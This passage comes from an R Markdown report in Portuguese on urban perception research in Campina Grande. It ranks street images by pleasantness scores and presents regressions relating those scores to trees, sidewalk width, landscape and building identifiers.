<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-5-1.png" width="1152" /></p>
<p>Composição social de não moradores de Campina</p>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-6-1.png" width="1152" /></p>
</div>
<div id="ranking-geral" class="section level2">
<h2>Ranking Geral</h2>
<p>Computados os QScores as 10 melhores e 10 piores imagens avaliadas estão apresentadas abaixo juntamente com as interseções das marcações dos usuários do porquê as escolheram como melhor ou pior imagem dentre as 4 apresentadas nas tarefas.</p>
<h3>
Top ../percepcaoLocal/agradavel/melhores/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/Av._Mal._Floriano_Peixoto_580_203' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_580_203 5.622123
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.597781
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/Av._Mal._Floriano_Peixoto_691_22' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_691_22 5.522711
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_45' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_45 5.498587
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Ed%C3%A9sio_Silva_70_22' width='400px'>
<div class="caption">
R._Edésio_Silva_70_22 5.459569
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_315 5.445511
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Ed%C3%A9sio_Silva_602_315' width='400px'>
<div class="caption">
R._Edésio_Silva_602_315 5.441191
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Proc%C3%B3pio_Silva_261_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_261_315 5.436423
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Proc%C3%B3pio_Silva_436_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_436_315 5.427303
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhores/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_239_90' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_239_90 5.404294
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/piores/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_315 3.628099
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_315 3.627112
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_300_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_22 3.614718
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_315 3.592702
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_392_225' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_225 3.560585
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_22 3.497591
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.367666
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_300_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_135 3.305779
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_203 3.283834
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/intersects/R._Cristina_Proc%C3%B3pio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 3.04297
</div>
</div>
</div>
<h3>
Top ../percepcaoLocal/agradavel/melhorescampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.934195
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/Av._Mal._Floriano_Peixoto_580_203' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_580_203 5.843986
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_261_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_261_315 5.814866
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_315 5.746403
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._Ed%C3%A9sio_Silva_70_22' width='400px'>
<div class="caption">
R._Edésio_Silva_70_22 5.724754
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_120_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_120_22 5.666528
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_120_293' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_120_293 5.654007
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_239_90' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_239_90 5.62591
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_239_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_239_22 5.595636
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhorescampina/intersects/R._Maciel_Pinheiro_248_180' width='400px'>
<div class="caption">
R._Maciel_Pinheiro_248_180 5.555018
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/piorescampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_135 3.484499
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_22 3.483501
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_300_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_315 3.44121
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_392_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_22 3.369351
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_300_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_22 3.362999
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.309299
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_203 3.155315
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 2.992928
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_300_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_135 2.880851
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_315 2.829048
</div>
</div>
</div>
<h3>
Top ../percepcaoLocal/agradavel/melhoresnotcampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_45' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_45 5.93931
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.834418
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_436_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_436_135 5.798566
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Ed%C3%A9sio_Silva_1546_135' width='400px'>
<div class="caption">
R._Edésio_Silva_1546_135 5.785337
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._In%C3%A1cio_Marqu%C3%AAs_da_Silva_120_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_120_22 5.771977
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/Av._Mal._Floriano_Peixoto_691_22' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_691_22 5.768315
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_261_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_261_315 5.71851
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/Av._Mal._Floriano_Peixoto_480_112' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_480_112 5.686054
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_436_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_436_315 5.678751
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Ed%C3%A9sio_Silva_306_203' width='400px'>
<div class="caption">
R._Edésio_Silva_306_203 5.652765
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/pioresnotcampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_392_225' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_225 3.436802
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_203 3.408918
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_203 3.35499
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_135 3.308321
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_315 3.263064
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_222_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_22 3.202619
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.197855
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_315 3.15051
</div>
</div>
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Cristina_Proc%C3%B3pio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 2.889654
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/home/davidcmm/workspace_doutorado/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Ara%C3%BAjo_188_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_203 2.829862
</div>
</div>
</div>
<p>Top diff 7 Tail diff 6</p>
<p>Qualitativamente analisando estas imagens, conforme esperado, percebe-se que <strong>vegetação, melhor estado de manutenção e a rua mais larga</strong> conduziram a melhores avaliações das imagens. O <strong>céu</strong> também foi um fator apontado em 4 das 10 fotos e que não foi computado em nossas avaliações anteriores. É importante destacar que a Cristina Procópio (tipicamente residencial) teve 5 dos 10 melhores, a Floriano Peixoto (comercial) teve 4 locais e a Edésio Silva 1 local (tipicamente residencial).</p>
<p>Para as imagens com pior avaliação, <strong>a presença de itens na rua (barracas mal cuidadas, itens velhos, itens de venda, lixo, etc.) juntamente com prédios mal cuidados geraram maior desconforto</strong>. É importante destacar que os 9 dos 10 locais com pior avaliação se localizam na Manoel Araújo, uma rua de comércio antiga e pouco cuidada no centro da cidade.</p>
<p>Alguns pontos a se questionar olhando todas as marcações:</p>
<ul>
<li>Algumas imagens da Manoel Pereira de Araújo e outros locais degradados foram marcados como melhores, apresentando poucos votos 1, 2 a 5 pessoas -> confusão na questão, preferência mesmo (algumas marcações no céu azul, prédios conservados)?</li>
<li>Algumas imagens da Floriano, Maciel e Museu marcadas como piores -> confusão, preferência (carros, estilos de lojas)?</li>
</ul>
<p>Realizando a análise da regressão dos QScores frente: # de árvores, nota de landscape, largura de rua, largura de calçada e número de prédios com identificadores</p>
<pre><code>## Loading required package: sp</code></pre>
<pre><code>## Loading required package: Matrix</code></pre>
<pre><code>##
## Attaching package: 'Matrix'</code></pre>
<pre><code>## The following object is masked from 'package:reshape':
##
## expand</code></pre>
<pre><code>## Warning: replacing previous import by 'expm::expm' when loading 'spdep'</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-1.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-2.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-3.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-4.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-5.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-6.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-7.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-8.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-9.png" width="672" /></p>
<pre><code>##
## Moran I test under randomisation
##
## data: residuals
## weights: neigh2
##
## Moran I statistic standard deviate = -1.1089, p-value = 0.2675
## alternative hypothesis: two.sided
## sample estimates:
## Moran I statistic Expectation Variance
## -1.031807e-02 -8.403361e-03 2.981595e-06</code></pre>
<pre><code>## Length Class Mode
## statistic 1 -none- numeric
## p.value 1 -none- numeric
## estimate 3 -none- numeric
## method 1 -none- character
## alternative 1 -none- character
## data.name 1 -none- character</code></pre>
<pre><code>##
## Global Moran I for regression residuals
##
## data:
## model: lm(formula = rank ~ street_wid + sidewalk_wid + landscape +
## trees + build_ident, data = res, na.action = na.exclude)
## weights: neigh2
##
## Moran I statistic standard deviate = -1.4388, p-value = 0.1502
## alternative hypothesis: two.sided
## sample estimates:
## Observed Moran I Expectation Variance
## -1.031807e-02 -7.902098e-03 2.819546e-06</code></pre>
<p>Realizando a mesma regressão acima para moradores e não moradores de forma separada, percebe-se:</p>
<ol style="list-style-type: decimal">
<li>Sidewalk width mais significativo e influente para moradores (média);</li>
<li>Landscape igualmente significativo nos 3, mais influente para moradores (média);</li>
<li>Trees mais significativo no geral e não moradores e mais influente para eles (média);</li>
<li>Builds ids igualmente significativo nos 3, mais influente para não moradores (média);</li>
<li>Os ICs apontam similaridade entre todos os coeficientes dos 3 grupos;</li>
<li>R2 parecidos</li>
</ol>
<pre><code>##
## \begin{table}
## \begin{center}
## \begin{tabular}{l c c c }
## \hline
## & Model 1 & Model 2 & Model 3 \\
## \hline
## (Intercept) & $-20.386^{*}$ & $-24.626^{**}$ & $-10.584$ \\
## & $(8.309)$ & $(8.517)$ & $(9.037)$ \\
## street\_wid & $-0.299$ & $-0.358$ & $-0.242$ \\
## & $(0.214)$ & $(0.219)$ & $(0.233)$ \\
## sidewalk\_wid & $3.409^{**}$ & $3.740^{***}$ & $3.416^{**}$ \\
## & $(1.057)$ & $(1.083)$ & $(1.149)$ \\
## landscape & $19.153^{***}$ & $20.904^{***}$ & $15.810^{***}$ \\
## & $(2.328)$ & $(2.386)$ & $(2.532)$ \\
## trees & $3.663^{***}$ & $2.656^{*}$ & $4.160^{***}$ \\
## & $(1.014)$ & $(1.040)$ & $(1.103)$ \\
## build\_ident & $-7.367^{***}$ & $-6.777^{***}$ & $-8.584^{***}$ \\
## & $(1.664)$ & $(1.706)$ & $(1.810)$ \\
## \hline
## R$^2$ & 0.688 & 0.672 & 0.631 \\
## Adj. R$^2$ & 0.674 & 0.658 & 0.615 \\
## Num. obs. & 120 & 120 & 120 \\
## RMSE & 19.850 & 20.346 & 21.587 \\
## \hline
## \multicolumn{4}{l}{\scriptsize{$^{***}p<0.001$, $^{**}p<0.01$, $^*p<0.05$, $^{\cdot}p<0.1$}}
## \end{tabular}
## \caption{Statistical models}
## \label{table:coefficients}
## \end{center}
## \end{table}</code></pre>
<pre><code>## [1] ">>>>>> IC Geral x Campina x Not Moradores"</code></pre>
<pre><code>## 2.5 % 97.5 % 2.5 % 97.5 % 2.5 %
## (Intercept) -36.8465309 -3.924586 -41.4988210 -7.75320053 -28.4856074
## street_wid -0.7232968 0.124990 -0.7925152 0.07699492 -0.7034447
## sidewalk_wid 1.3151864 5.502310 1.5943960 5.88627692 1.1391052
## landscape 14.5412532 23.765704 16.1767874 25.63202515 10.7944047
## trees 1.6535158 5.672336 0.5960553 4.71542249 1.9744704
## build_ident -10.6645804 -4.070219 -10.1567433 -3.39739746 -12.1695134
## 97.5 %
## (Intercept) 7.3178714
## street_wid 0.2190894
## sidewalk_wid 5.6927114
## landscape 20.8262369
## trees 6.3450428
## build_ident -4.9979726</code></pre>
<pre><code>## Loading required package: gmodels</code></pre>
<pre><code>## Loading required package: vcd</code></pre>
<pre><code>## Loading required package: lme4</code></pre>
<pre><code>##
## Attaching package: 'nlme'</code></pre>
<pre><code>## The following object is masked from 'package:lme4':
##
## lmList</code></pre>
<pre><code>## The following object is masked from 'package:dplyr':
##
## collapse</code></pre>
<pre><code>## Loading required package: lattice</code></pre>
<pre><code>## Classes and Methods for R developed in the
## Political Science Computational Laboratory
## Department of Political Science
## Stanford University
## <NAME>
## hurdle and zeroinfl functions by <NAME></code></pre>
<pre><code>##
## Attaching package: 'GGally'</code></pre>
<pre><code>## The following object is masked from 'package:R.utils':
##
## wrap</code></pre>
<pre><code>## The following object is masked from 'package:dplyr':
##
## nasa</code></pre>
<pre><code>##
## Attaching package: 'car'</code></pre>
<pre><code>## The following object is masked from 'package:dplyr':
##
## recode</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ 1, family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -1.177 -1.177 0.000 1.177 1.177
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01373 0 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 29403 on 21209 degrees of freedom
## Residual deviance: 29403 on 21209 degrees of freedom
## AIC: 29405
##
## Number of Fisher Scoring iterations: 2</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ 1 + (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 29407.3 29423.2 -14701.7 29403.3 21208
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -1 -1 0 1 1
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 21210, groups: userID, 347
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01373 0 1</code></pre>
<pre><code>## 'log Lik.' 29403.3 (df=1)</code></pre>
<pre><code>## 'log Lik.' 29403.3 (df=2)</code></pre>
<pre><code>## Analysis of Deviance Table
##
## Model: binomial, link: logit
##
## Response: choice
##
## Terms added sequentially (first to last)
##
##
## Df Deviance Resid. Df Resid. Dev
## NULL 21209 29403</code></pre>
<pre><code>## [1] "Logistic model not scaled - with user being or not from campina"</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ d_swidth + d_sidewalk + d_trees + d_lands +
## d_bid + bair_cat + city:(d_swidth + d_sidewalk + d_trees +
## d_lands + d_bid), family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -2.52504 -0.97265 0.00904 0.99439 2.46970
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.2517089 0.0246711 -10.203 < 2e-16 ***
## d_swidth -0.0030221 0.0018245 -1.656 0.097643 .
## d_sidewalk 0.1477897 0.0090199 16.385 < 2e-16 ***
## d_trees 0.0444125 0.0089486 4.963 6.94e-07 ***
## d_lands 0.5446823 0.0197303 27.606 < 2e-16 ***
## d_bid -0.0303602 0.0156917 -1.935 0.053016 .
## bair_catcatole_centro 0.8059618 0.0493972 16.316 < 2e-16 ***
## bair_catcatole_liberdade 0.6635419 0.0662344 10.018 < 2e-16 ***
## bair_catcentro_catole -0.3246093 0.0533078 -6.089 1.13e-09 ***
## bair_catcentro_liberdade -0.1254815 0.0615983 -2.037 0.041640 *
## bair_catliberdade_catole 0.2116445 0.0731403 2.894 0.003808 **
## bair_catliberdade_centro 0.4731011 0.0617281 7.664 1.80e-14 ***
